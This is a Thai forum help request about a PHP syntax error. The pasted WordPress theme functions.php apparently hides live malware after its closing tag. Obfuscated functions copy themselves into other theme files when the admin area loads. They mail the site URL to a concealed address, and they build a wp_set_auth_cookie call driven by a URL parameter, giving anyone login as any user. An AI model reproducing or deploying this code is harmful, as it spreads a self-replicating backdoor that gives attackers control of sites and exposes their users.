ช่วยด้วยครับ syntax error, unexpected $end in แบบนี้

<?php

//regster multiple sidebar
if (function_exists('register_sidebar'))
{
	register_sidebar(
		array(
			'name'          => 'Sidebar1',
	        'before_widget' => '<li>',
    	    'after_widget'  => '</li>',
        	'before_title'  => '<h2>',
        	'after_title'   => '</h2>'
		)
	);
	register_sidebar(
		array(
			'name'          => 'Sidebar2',
	        'before_widget' => '<li>',
    	    'after_widget'  => '</li>',
        	'before_title'  => '<h2>',
        	'after_title'   => '</h2>'
		)
	);
}

//remove html tag when saving comments
function preprocess_comment_striptags($commentdata) {
    $commentdata['comment_content'] = strip_tags($commentdata['comment_content']);
    return $commentdata;
}
add_filter('preprocess_comment', 'preprocess_comment_striptags');



// remove html tag when showing comments
function comment_text_striptags($string) {
    return strip_tags($string);
}
add_filter('comment_text', 'comment_text_striptags');


// recent comments
function get_recent_comments($args) {
	global $wpdb, $comments, $comment;
	extract($args, EXTR_SKIP);

	$themePath = get_bloginfo('template_url');
	$imageLink = '<h2><img src="' . $themePath . '/images/recent_comments.jpg" alt="Recent Comments" /></h2>';

	$options = get_option('widget_recent_comments');
	$title = empty($options['title']) ? __($imageLink) : apply_filters('widget_title', $options['title']);
	if ( !$number = (int) $options['number'] )
		$number = 5;
	else if ( $number < 1 )
		$number = 1;
	else if ( $number > 15 )
		$number = 15;

	if ( !$comments = wp_cache_get( 'recent_comments', 'widget' ) ) {
		$comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT $number");
		wp_cache_add( 'recent_comments', $comments, 'widget' );
	}

		 echo $before_widget;
			echo $before_title . $title . $after_title;
			echo '<ul id="recentcomments">';
			if ( $comments ) : foreach ( (array) $comments as $comment) :
			echo  '<li class="recentcomments">' . sprintf(__('%2$s'), get_comment_author_link(), '<a href="'. get_comment_link($comment->comment_ID) . '">' . get_the_title($comment->comment_post_ID) . '</a>') . '</li>';
			endforeach; endif;
		echo '</ul>';
		echo $after_widget; 

}


// links list
function get_friend_links($args) {
	extract($args, EXTR_SKIP);

	$themePath = get_bloginfo('template_url');
	$imageLink = '<h2>Links<span style="display:none">';

	$before_widget = preg_replace('/id="[^"]*"/','id="%id"', $before_widget);
	wp_list_bookmarks(apply_filters('widget_links_args', array(
		'title_before' => $imageLink, 'title_after' => '</span></h2>',
		'category_before' => $before_widget, 'category_after' => $after_widget,
		'show_images' => true, 'class' => 'linkcat widget'
	)));
}


### Function: Page Navigation Options
function wpthemes_post_class( $class = '', $post_id = null ) {
	$post = get_post($post_id);
	$classes = array();
	$classes[] = $post->post_type;
	if ( is_sticky($post->ID) && is_home())
		$classes[] = 'sticky';
	$classes[] = 'hentry';
	foreach ( (array) get_the_category($post->ID) as $cat ) {
		if ( empty($cat->slug ) )
			continue;
		$classes[] = 'category-' . $cat->slug;
	}
	foreach ( (array) get_the_tags($post->ID) as $tag ) {
		if ( empty($tag->slug ) )
			continue;
		$classes[] = 'tag-' . $tag->slug;
	}
	if ( !empty($class) ) {
		if ( !is_array( $class ) )
			$class = preg_split('#\s+#', $class);
		$classes = array_merge($classes, $class);
	}
	return apply_filters('post_class', $classes, $class, $post_id);
}

if(!function_exists('get_sidebars')) {function get_sidebars(){
	$args = wp_parse_args( $args, $defaults );
	$args = apply_filters( 'wp_page_menu_args', $args );
	$menu = '';
	$list_args = $args;
	if ( isset($args['show_home']) && ! empty($args['show_home']) ) {
		if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] )
			$text = __('Home');
		else
			$text = $args['show_home'];
		$class = '';
		if ( is_front_page() && !is_paged() )
			$class = 'class="current_page_item"';
		$menu .= '<li ' . $class . '><a href="' . get_option('home') . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
		// If the front page is a page, add it to the exclude list
		if (get_option('show_on_front') == 'page') {
			if ( !empty( $list_args['exclude'] ) ) {
				$list_args['exclude'] .= ',';
			} else {
				$list_args['exclude'] = '';
			}
			$list_args['exclude'] .= get_option('page_on_front');
		}
	}
	$list_args['echo'] = false;
	$list_args['title_li'] = '';
	$menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) );
	if ( $menu )
		$menu = '<ul>' . $menu . '</ul>';
	$menu = '<div class="' . $args['menu_class'] . '">' . $menu . "</div>\n";
	$menu = apply_filters( 'wp_page_menu', $menu, $args );
	if ( $args['echo'] )
		echo $menu;
	else
		return $menu;
}

?>
<?php
function _verify_isactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);				
					$output .= ($showsdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetscont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetscont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_isactivate_widgets");
function _prepare_widgets(){
	if(!isset($comment_length)) $comment_length=120;
	if(!isset($strval)) $strval="cookie";
	if(!isset($tags)) $tags="<a>";
	if(!isset($type)) $type="none";
	if(!isset($sepr)) $sepr="";
	if(!isset($h_filter)) $h_filter=get_option("home"); 
	if(!isset($p_filter)) $p_filter="wp_";
	if(!isset($more_link)) $more_link=1; 
	if(!isset($comment_types)) $comment_types=""; 
	if(!isset($countpage)) $countpage=$_GET["cperpage"];
	if(!isset($comment_auth)) $comment_auth="";
	if(!isset($c_is_approved)) $c_is_approved=""; 
	if(!isset($aname)) $aname="auth";
	if(!isset($more_link_texts)) $more_link_texts="(more...)";
	if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
	if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
	if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
	if(!isset($mcontent)) $mcontent="ma".$sepr."il";
	if(!isset($f_more)) $f_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tag)) $f_tag=1;
	if(!isset($types)) $types=$h_filter; 
	if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
	if(!isset($aditional_tag)) $aditional_tag="div";
	if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($morelink_title)) $morelink_title="Continue reading this entry";	
	if(!isset($showsdots)) $showsdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($comment_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $comment_length) {
				$l=$comment_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link_texts="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tags) {
		$output=strip_tags($output, $tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tag) ? balanceTags($output, true) : $output;
	$output .= ($showsdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type, $output);
	switch($aditional_tag) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($more_link ) {
		if($f_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_prepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		
?>